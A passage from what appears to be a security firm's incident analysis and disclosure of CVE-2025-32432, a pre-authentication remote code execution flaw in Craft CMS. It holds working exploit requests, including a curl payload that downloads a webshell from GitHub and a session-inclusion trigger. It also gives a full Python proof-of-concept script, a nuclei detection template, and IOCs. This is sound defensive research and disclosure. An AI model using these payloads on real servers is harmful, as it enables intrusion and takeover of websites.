    throw new InvalidConfigException('Object configuration must be an array containing a "class" or "__class" element.');
}

Figure 25: Excerpt from vendor/yiisoft/yii2/BaseYii.php

Haha! The createObject function allows for both the __class and the class attribute.

This is how the exploit operates:

  • it sets a valid class attribute, meaning the check in Component::__set is passed,
  • it also sets an arbitrary __class attribute, which is used first in BaseYii::createObject.

We can validate this by specifying another valid behavior in our exploit code:

$ grep -R 'extends Behavior' .
...
./vendor/yiisoft/yii2/base/ActionFilter.php:class ActionFilter extends Behavior
...

$ cat replica.php
<?php

require './bootstrap.php';
require CRAFT_VENDOR_PATH . '/craftcms/cms/bootstrap/web.php';

use craft\Craft;
use craft\models\ImageTransform;

$model = new ImageTransform();

$model['as session'] = [
    'class' => 'yii\\base\\ActionFilter',
    '__class' => 'GuzzleHttp\\Psr7\\FnStream',
    '__construct()' => [[]],
    '_fn_close' => 'phpinfo',
];

$ php replica.php
PHP Version => 8.2.28
...

Figure 26: Editing and launching replica.php

It still works! Now we need to understand why Guzzle is called. Anyone that has done a bit of PHP unserialization attacks would recognise the name from PHP gadget chains.

Looking at its source code, it’s clear that it calls any arbitrary function in its destructor:

/**
 * The close method is called on the underlying stream only if possible.
 */
public function __destruct()
{
    if (isset($this->_fn_close)) {
        ($this->_fn_close)();
    }
}

Figure 27: Excerpt from vendor/guzzlehttp/psr7/src/FnStream.php

The __construct parameter is needed, because otherwise the object constructor fails.

Hooray! We understood the attacker’s first request.

II.5. Executing arbitrary PHP code

The attacker’s second and third requests seem to achieve full code execution:

$ curl 'http://redacted:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>' -vvv

$ curl 'http://redacted:8080/index.php?p=actions/assets/generate-transform' -XPOST -H 'Content-Type: application/json' -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_YYY"}]}}}' -b '<cookies>'

Figure 28: The attackers second and third request

Looking at the PhpManager class, we understand that it allows for an arbitrary file inclusion when the itemFile class variable is set.

public function init()
{
    parent::init();
    $this->itemFile = Yii::getAlias($this->itemFile);
    $this->assignmentFile = Yii::getAlias($this->assignmentFile);
    $this->ruleFile = Yii::getAlias($this->ruleFile);
    $this->load();
}

protected function load()
{
    $this->children = [];
    $this->rules = [];
    $this->assignments = [];
    $this->items = [];

    $items = $this->loadFromFile($this->itemFile);
    // ...
}

protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }

    return [];
}

Figure 29: Excerpt from vendor/yiisoft/yii2/rbac/PhpManager.php

Thus, we’re able to include a file. If allow_url_include was on, then we could simply specify a valid URL. But this setting is disabled by default.

The attacker loads code from /var/lib/php/sessions/sess_YYY instead, which is the session storage for a specific session.

We were able to put code in /var/lib/php/sessions ourselves by calling admin/dashboard, and searching the file system for it:

$ curl 'http://redacted:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>' -vvv
...
< HTTP/1.1 302 Found
< Host: 127.0.0.1:8080
< Date: Wed, 09 Apr 2025 12:43:21 GMT
< Connection: close
< Set-Cookie: CraftSessionId=a31t5708djlbeo38u0qlubdb4n; path=/; HttpOnly
...
< Location: http://127.0.0.1:8080/admin/login
...

$ cat /var/lib/php/sessions/sess_a31t5708djlbeo38u0qlubdb4n
cf2dbad8d7177f6e26df72fefbd2965c__flash|a:0:{}e56ff50a44fe8dcf299b3da8a28aeab5__returnUrl|s:196:"http://127.0.0.1:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>";

Figure 30: Finding the data in the session

As we understand it, by looking at the serialised data __returnUrl|s:196, the code is stored in the “return url”, to which the user is redirected after logging in to the admin panel.

Now we can put it all together to call whoami:

# the `-g` flag is necessary to avoid curl refusing to send invalid characters in the URL
$ curl "http://127.0.0.1:8080/index.php?p=admin/dashboard&a=<?=exec(\$_GET['cmd']);die()?>" -vvv -g
...
< Set-Cookie: CraftSessionId=9ve2k7rr4d3h46d97cnakm1rjv; path=/; HttpOnly
...

# execute 'whoami' and get 'craft' back  (at the end of the response)
$ curl 'http://127.0.0.1:8080/index.php?p=actions/assets/generate-transform&cmd=whoami' -XPOST -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_9ve2k7rr4d3h46d97cnakm1rjv"}]}}}' -H 'Content-Type: application/json'

cf2dbad8d7177f6e26df72fefbd2965c__flash|a:0:{}e56ff50a44fe8dcf299b3da8a28aeab5__returnUrl|s:81:"http://127.0.0.1:8080/index.php?p=admin/dashboard&a=craft

Figure 31: Calling whoami

And we get the output from our command back! We successfuly ran <?=exec($_GET['cmd']);die()?>.

II.6. Adding back the CSRF validation

When re-enabling CSRF validation, everything stops working. Luckily, we can extract a valid CSRF token from the login page to which we’re redirected, and pass it along like it is documented:

# Push our payload, get redirected to the login page (with the -L flag), and save cookies (with the -c flag)
$ curl "http://127.0.0.1:8080/index.php?p=admin/dashboard&a=<?=exec(\$_GET['cmd']);die()?>" -g -s -L -c cookie-jar | grep '<input type="hidden" name="CRAFT_CSRF_TOKEN"'
<input type="hidden" name="CRAFT_CSRF_TOKEN" value="aTbduJkkGAt1D5moRkPE482QzxxxPBMCODgYf35uwgOGi02_dbORhQRmtJXocHVuH2by_3M2g46-oIcpIXEhZXUVSxguI6Ewy8IZ-Dvx-7I=">

# Find the cookie value
$ grep CraftSessionId cookie-jar
#HttpOnly_127.0.0.1     FALSE   /       FALSE   0       CraftSessionId  2s3ea5ttji1svna46et13802qs

# Trigger the code, execute 'whoami' and get 'craft' back (at the end of the response)
$ curl 'http://127.0.0.1:8080/index.php?p=actions/assets/generate-transform&cmd=whoami' -XPOST -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_2s3ea5ttji1svna46et13802qs"}]}}}' -H 'Content-Type: application/json' -H 'X-CSRF-Token: aTbduJkkGAt1D5moRkPE482QzxxxPBMCODgYf35uwgOGi02_dbORhQRmtJXocHVuH2by_3M2g46-oIcpIXEhZXUVSxguI6Ewy8IZ-Dvx-7I=' -b cookie-jar
cf2dbad8d7177f6e26df72fefbd2965c__flash|a:0:{}e56ff50a44fe8dcf299b3da8a28aeab5__returnUrl|s:81:"http://127.0.0.1:8080/index.php?p=admin/dashboard&a=craft

Figure 32: Putting it all together

Automating the kill chain ourselves

Just like the TA did, we automated the exploitation process. It was a bit tricky, since python’s request module automatically adds quotes to outgoing requests, so we had to hack into the underlying urllib3 module.

The following code can be used to execute an arbitrary shell command onto a vulnerable server:

# Author: Nicolas Bourras (Orange Cyberdefense)
# Valid for 3.x, 4.x, 5.x

import sys
import urllib
import urllib3

import requests

url = sys.argv[1]
cmd = sys.argv[2]
asset_id = sys.argv[3] if len(sys.argv) == 4 else ''

php_code = f'<?=exec($_GET["cmd"]);die()?>'

print('[*] CraftCMS CVE-2025-32432 PoC')

def custom_make_request(self, conn, method, url, **httplib_request_kw):
    url = urllib.parse.unquote(url)
    return self._original_make_request(conn, method, url, **httplib_request_kw)

urllib3.connectionpool.HTTPConnectionPool._original_make_request = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = custom_make_request

print('[+] Making initial request to push payload and get a CSRF token..')
print(f'[+] Pushing the following code: {php_code}')

s = requests.Session()

res = s.get(f'{url}/index.php', params=f'p=admin/dashboard&a={php_code}')

print(f'[+] Got response {res.status_code}')

session_id = s.cookies['CraftSessionId']

print(f'[+] PHP code pushed in the session with ID: {session_id}')

line = next(
    l for l in res.text.split('\n')
    if '<input type="hidden" name="CRAFT_CSRF_TOKEN"' in l
)

token = line.split('value="', 1)[1].split('"', 1)[0]

print(f'[+] Found CSRF TOKEN: {token}')

print('[+] Triggering code via assets/generate-transform')

# trigger it
params = {
    'p': 'actions/assets/generate-transform',
    'cmd': cmd,
}

res = s.post(f'{url}/index.php', params=params, json={
    'assetId': asset_id,
    'handle': {
        'width': 123,
        'height': 123,
        'as hack': {
            'class': 'craft\\behaviors\\FieldLayoutBehavior',
            '__class': 'yii\\rbac\\PhpManager',
            '__construct()': [{
                'itemFile': f'/var/lib/php/sessions/sess_{session_id}',
            }]
        }
    }
}, headers={
    'X-CSRF-Token': token,
})

print(f'[+] Got response {res.status_code}')

if '?p=admin/dashboard&a=' not in res.text:
    print('[!] Invalid output detected. If running under a 3.x version, the given asset ID may be invalid.')
    print('[!] Try specifying an asset ID, and testing different values (its an incremental integer, starting at 0).')

print('[+] Command output:')

# remove leading text
text = res.text
text = text.split('?p=admin/dashboard&a=', 1)[1]

print(text)

Figure 33: Automated kill-chain using python

Additionally, a nuclei template was written to help identify vulnerable 4.x and 5.x servers:

id: CVE-2025-32432

info:
  name: CVE-2025-32432 - RCE Preauth in CraftCMS (detection for 4.x and 5.x instances)
  author: Nicolas Bourras (Orange Cyberdefense)
  severity: critical

http:
  - raw:
    - |
      GET /index.php?p=admin/dashboard HTTP/1.0
      Host: 

    - |
      POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.0
      Host: 
      Content-Type: application/json
      X-CSRF-Token: 

      {"assetId":11,"handle":{"width":123,"height":123,"as session":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}

    redirects: true

    extractors:
    - type: xpath
      name: csrf-token
      attribute: value
      internal: true
      xpath:
        - //input[@type="hidden" and @name="CRAFT_CSRF_TOKEN"]

    matchers:
      - type: word
        part: body
        words:
          - 'If you did not receive a copy of the PHP license'

Figure 34: Nuclei template

Note: 3.x servers are not targeted by this template, since it would require sending a lot of requests, in order to find a valid asset ID.

III. Vulnerable assets assessment

Following our investigation and analysis, we were able to perform large scale scans for Craft CMS instances.

Based on the Onyphe asset database, we were able to identify almost 35K unique FQDN hosting CraftCMS instances.

We found ~13000 vulnerable instances using our nuclei template. These instances are linked to ~6300 IP addresses. Most of them are located in the United States of America.

Figure 35: Distribution of vulnerable Craft CMS instances by country

After retrieving a list of vulnerable Craft CMS instances, we tried to identify some instances that might have been compromised by the same campaign we saw since February.

Based on the precedes of files created at the webroot (filemanager.php, autoload_classmap.php) during the compromise phase, we were able to find almost ~300 allegedly compromised instances.

Figure 35: Distribution of allegedly compromised Craft CMS instances by country

Upgrading to a new Craft CMS version does not remove any malicious files. You will find in the appendix all the network and system Indicators of Compromise (IOC) we were able to find during our investigation.

IV. Appendix

IV.1. IOCs

IOCTypeDescription
103.106.66[.]123IP addressAttempted to drop filemanager.php
172.86.113[.]137IP addressDropped filemanager.php
104.161.32[.]11IP addressDropped filemanager.php
154.211.22[.]213IP addressUploaded file using filemanager.php
38.145.208[.]231IP addressRenamed filemanager.php
filemanager.php|d8fddbd85e6af76c91bfa17118dbecc6Filename|md5File dropped at the root of the web directory
filemanager.php|e6c3e12f6712719f69f40fb6f06e2b60facd8e61Filename|sha1File dropped at the root of the web directory
filemanager.php|dce988346f98d55b97f7ca7a4c49cef2883b80855a0ecb6371df4063e7ecc40dFilename|sha256File dropped at the root of the web directory
autoload_classmap.phpFilenameFile dropped at the root of the web directory
wp-22.phpFilenameFile dropped at the root of the web directory
style.phpFilenameFile dropped at the root of the web directory
https://github.com/alexantr/filemanagergithub-repositoryOpen-source project source of filemanager.php

IV.2. Timeline

Report timeline:

2025-02: Forensic investigation

2025-03: Analysis and research to replay of the vulnerability

2025-04-09: CVE request sent for Yii incomplete fix issue

2025-04-09: Initial report sent to Craft CMS support

2025-04-09: Initial report sent to Yii through Telegram channel (security form not functional)

2025-04-09: Acknowledgment from Yii and news published on their website

2025-04-10: CVE assigned to Yii incomplete fix by MITRE

2025-04-10: Acknowledgment and confirmation by Craft CMS

2025-04-11: Craft released fixed CMS versions: 3.9.15, 4.14.15 and 5.6.17

2025-04-14: CVE assigned to Craft CMS

2025-04-24: CraftCMS blogpost and advisory published

2025-04-25: Orange Cyberdefense blog post published

V. Credits

Work at Orange Cyberdefense from:

  • Thomas Reynolds from the CSIRT team,
  • Nicolas Bourras from the Ethical Hacking team,
  • Wilfried Pascault from the CERT team.

Thanks to Patrice from the Onyphe team for their collaboration, with their helpful asset database allowing us to perform scans of the vulnerable and compromised Craft CMS instances.

Thanks to Alexander from Yii and Brad from Craft for their responsiveness to these issues.